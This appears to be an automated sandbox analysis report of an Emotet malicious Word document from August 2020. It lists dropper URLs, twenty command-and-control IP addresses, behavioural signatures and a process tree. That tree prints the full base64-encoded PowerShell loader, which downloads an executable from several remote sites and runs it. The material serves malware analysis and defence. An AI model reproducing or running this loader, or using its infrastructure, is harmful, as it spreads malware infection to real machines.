Analysis

  • max time kernel
    137s
  • max time network
    133s
  • platform
    windows10_x64
  • resource
    win10v200722
  • submitted
    19/08/2020, 03:12

General

  • Target
    emotet_e3_a7a2051e32efcfd9cfd3f76ff37305217521708eb10db55f2d07f7c0c2fd0d43_2020-08-19__031057._doc.doc
  • Size 179KB
  • Sample200819-ej4pt2kpsa
  • SHA256 a7a2051e32efcfd9cfd3f76ff37305217521708eb10db55f2d07f7c0c2fd0d43
  • MD5 SHA1 SHA512
Score
10/10

Malware Config

Extracted

Language
  • ps1

Source
URLs
  • exe.dropper

    http://android.readersareleader.com/fetch/OiIXe/

  • exe.dropper

    http://noithatmtk.com/temp/EBlKvJw/

  • exe.dropper

    http://amde.in/js/ixqaSyVn/

  • exe.dropper

    http://corporateworldwidetransportation.com/wp-includes/qKnMbB/

  • exe.dropper

    https://revilorealty.com/wp-content/zxd4b0k326536293/

  • exe.dropper

    http://pharmacmi.com/vendor/KPNWyhJ/

  • exe.dropper

    http://readersareleader.com/wp-content/CZk/

Extracted

Family
  • emotet

C2
  • 112.78.142.170:80

  • 178.128.14.92:8080

  • 178.238.232.46:443

  • 185.142.236.163:443

  • 192.210.217.94:8080

  • 192.241.220.183:8080

  • 105.209.235.113:8080

  • 182.187.139.200:8080

  • 188.0.135.237:80

  • 201.213.177.139:80

  • 31.146.61.34:80

  • 202.5.47.71:80

  • 81.17.93.134:80

  • 192.163.221.191:8080

  • 97.104.107.190:80

  • 201.235.10.215:80

  • 181.114.114.203:80

  • 51.38.201.19:7080

  • 46.32.229.152:8080

  • 177.144.130.105:443

rsa_pubkey.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Emotet Payload 4 IoCs

    Detects Emotet payload in memory.

  • Blacklisted process makes network request 1 IoCs
  • Executes dropped EXE 2 IoCs
  • Drops file in System32 directory 1 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 13 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e3_a7a2051e32efcfd9cfd3f76ff37305217521708eb10db55f2d07f7c0c2fd0d43_2020-08-19__031057._doc.doc" /o ""
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:3980
  • C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
    powersheLL -e JABGAHIANAA3ADkAbwB2AD0AKAAnAFEAcwA3ACcAKwAnADEAaQAnACsAJwBnADUAJwApADsALgAoACcAbgBlAHcAJwArACcALQAnACsAJwBpAHQAZQBtACcAKQAgACQAZQBOAHYAOgBUAEUAbQBQAFwATwBmAEYAaQBjAEUAMgAwADEAOQAgAC0AaQB0AGUAbQB0AHkAcABlACAAZABpAFIARQBDAFQATwBSAFkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAHMARQBDAFUAUgBpAHQAWQBwAHIAYABvAGAAVABgAE8AYwBgAG8AbAAiACAAPQAgACgAJwB0ACcAKwAnAGwAcwAnACsAJwAxACcAKwAnADIAJwArACcALAAgAHQAbABzADEAMQAsACcAKwAnACAAdABsAHMAJwApADsAJABRAGkAegA0AHkAbgBnACAAPQAgACgAJwBSAHUAJwArACcAbQB0AF8AJwArACcAMQA5ACcAKQA7ACQAWABnADUAYQA1AF8AOAA9ACgAJwBZAF8AJwArACcAdwAzAHgAdQAnACsAJwBsACcAKQA7ACQAWgB2AGsANgBwAGsAcwA9ACQAZQBuAHYAOgB0AGUAbQBwACsAKAAoACcAVABXAHUATwAnACsAJwBmAGYAJwArACcAaQBjAGUAJwArACcAMgAnACsAJwAwACcAKwAnADEAOQBUAFcAdQAnACkAIAAgAC0AcgBlAHAATABhAGMAZQAgACAAKABbAEMASABhAFIAXQA4ADQAKwBbAEMASABhAFIAXQA4ADcAKwBbAEMASABhAFIAXQAxADEANwApACwAWwBDAEgAYQBSAF0AOQAyACkAKwAkAFEAaQB6ADQAeQBuAGcAKwAoACcALgBlAHgAJwArACcAZQAnACkAOwAkAFoAOABpADkAcAAzAGEAPQAoACcASwAnACsAJwBtAGUAJwArACcAZQBiAHkAdgAnACkAOwAkAFUAZAA0AG0AZABrAHUAPQAmACgAJwBuAGUAJwArACcAdwAtAG8AYgAnACsAJwBqAGUAYwB0ACcAKQAgAE4ARQBUAC4AVwBFAEIAQwBsAEkAZQBuAFQAOwAkAE4AcABxAHMAagBzADMAPQAoACcAaAB0AHQAcAA6ACcAKwAnAC8ALwBhACcAKwAnAG4AZAByAG8AJwArACcAaQBkACcAKwAnAC4AcgBlAGEAJwArACcAZABlACcAKwAnAHIAJwArACcAcwAnACsAJwBhAHIAZQBsAGUAYQBkACcAKwAnAGUAcgAuAGMAbwAnACsAJwBtAC8AJwArACcAZgBlAHQAYwBoAC8ATwAnACsAJwBpAEkAWABlAC8AKgAnACsAJwBoAHQAdAAnACsAJwBwADoALwAvAG4AbwBpACcAKwAnAHQAJwArACcAaABhAHQAbQB0AGsALgBjAG8AJwArACcAbQAnACsAJwAvAHQAZQBtAHAALwBFAEIAJwArACcAbABLAHYASgB3AC8AKgAnACsAJwBoAHQAdABwADoALwAvACcAKwAnAGEAbQBkAGUAJwArACcALgBpACcAKwAnAG4AJwArACcALwBqAHMALwBpAHgAcQBhACcAKwAnAFMAJwArACcAeQBWAG4AJwArACcALwAnACsAJwAqAGgAdAB0AHAAOgAvAC8AYwBvAHIAcABvAHIAYQB0AGUAdwBvAHIAbABkAHcAJwArACcAaQBkAGUAJwArACcAdAAnACsAJwByAGEAbgBzAHAAbwByAHQAYQB0AGkAbwAnACsAJwBuACcAKwAnAC4AJwArACcAYwAnACsAJwBvACcAKwAnAG0ALwB3AHAALQAnACsAJwBpAG4AYwBsAHUAZABlAHMAJwArACcALwBxAEsAJwArACcAbgBNAGIAQgAvACcAKwAnACoAaAAnACsAJwB0AHQAcAAnACsAJwBzADoALwAvAHIAZQAnACsAJwB2AGkAbABvACcAKwAnAHIAZQAnACsAJwBhAGwAJwArACcAdAAnACsAJwB5ACcAKwAnAC4AJwArACcAYwBvAG0ALwB3ACcAKwAnAHAAJwArACcALQAnACsAJwBjAG8AbgB0AGUAJwArACcAbgB0ACcAKwAnAC8AegB4AGQANABiADAAawAzACcAKwAnADIANgA1ACcAKwAnADMAJwArACcANgAyADkAJwArACcAMwAvACoAaAB0ACcAKwAnAHQAcAAnACsAJwA6AC8ALwBwAGgAYQByAG0AYQBjAG0AaQAuAGMAbwAnACsAJwBtACcAKwAnAC8AdgBlACcAKwAnAG4AZAAnACsAJwBvAHIAJwArACcALwBLACcAKwAnAFAAJwArACcATgBXAHkAaAAnACsAJwBKAC8AJwArACcAKgBoAHQAdABwACcAKwAnADoAJwArACcALwAvAHIAZQAnACsAJwBhAGQAJwArACcAZQByAHMAYQByAGUAbAAnACsAJwBlACcAKwAnAGEAJwArACcAZABlAHIALgBjACcAKwAnAG8AbQAvAHcAcAAtAGMAbwBuAHQAZQBuAHQALwBDAFoAJwArACcAawAvACcAKQAuACIAcwBgAFAAbABJAHQAIgAoAFsAYwBoAGEAcgBdADQAMgApADsAJABPAHYAMAAyAHUAdQB1AD0AKAAnAFAAJwArACcAZgA0AGoAdQBiAHoAJwApADsAZgBvAHIAZQBhAGMAaAAoACQAQwBlAHUANQBqAHAAcAAgAGkAbgAgACQATgBwAHEAcwBqAHMAMwApAHsAdAByAHkAewAkAFUAZAA0AG0AZABrAHUALgAiAGQATwB3AE4AYABMAE8AYABBAEQAZgBgAEkATABFACIAKAAkAEMAZQB1ADUAagBwAHAALAAgACQAWgB2AGsANgBwAGsAcwApADsAJABGADEAdABjAHIAYQAzAD0AKAAnAEUAbgB3AHIANwAzACcAKwAnAHoAJwApADsASQBmACAAKAAoACYAKAAnAEcAZQAnACsAJwB0ACcAKwAnAC0ASQB0AGUAbQAnACkAIAAkAFoAdgBrADYAcABrAHMAKQAuACIATABgAEUAYABOAGcAdABoACIAIAAtAGcAZQAgADIANQAyADQANgApACAAewAmACgAJwBJAG4AdgBvAGsAJwArACcAZQAnACsAJwAtAEkAdABlAG0AJwApACgAJABaAHYAawA2AHAAawBzACkAOwAkAEMAaQBjAHYAdgBjAHEAPQAoACcAUABtAGsAXwAnACsAJwAzADgAbgAnACkAOwBiAHIAZQBhAGsAOwAkAFoAOABtAGUAcwBiAHQAPQAoACcAVgB2AGcAJwArACcAMABkADMAJwArACcANAAnACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAE4ANwByADUAeAB1AHgAPQAoACcAQwAxACcAKwAnADcAJwArACcAeQBzAGYAbwAnACkA
    1⤵
    • Process spawned unexpected child process
    • Blacklisted process makes network request
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:2756
    • C:\Users\Admin\AppData\Local\Temp\Office2019\Rumt_19.exe
      "C:\Users\Admin\AppData\Local\Temp\Office2019\Rumt_19.exe"
      2⤵
      • Executes dropped EXE
      • Drops file in System32 directory
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:1936
      • C:\Windows\SysWOW64\mfnetcore\sxproxy.exe
        "C:\Windows\SysWOW64\mfnetcore\sxproxy.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of SetWindowsHookEx
        PID:3504

Network

        MITRE ATT&CK Enterprise v6

        Replay Monitor

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        Downloads

        memory/1936-13-0x00000000005D0000-0x00000000005DC000-memory.dmp

        memory/2756-7-0x00007FFABA7C0000-0x00007FFABB1AC000-memory.dmp

        memory/2756-8-0x00000245D0550000-0x00000245D0551000-memory.dmp

        memory/2756-9-0x00000245D0850000-0x00000245D0851000-memory.dmp

        memory/3504-16-0x0000000000930000-0x000000000093C000-memory.dmp

        memory/3980-0-0x00007FFAC6140000-0x00007FFAC6806000-memory.dmp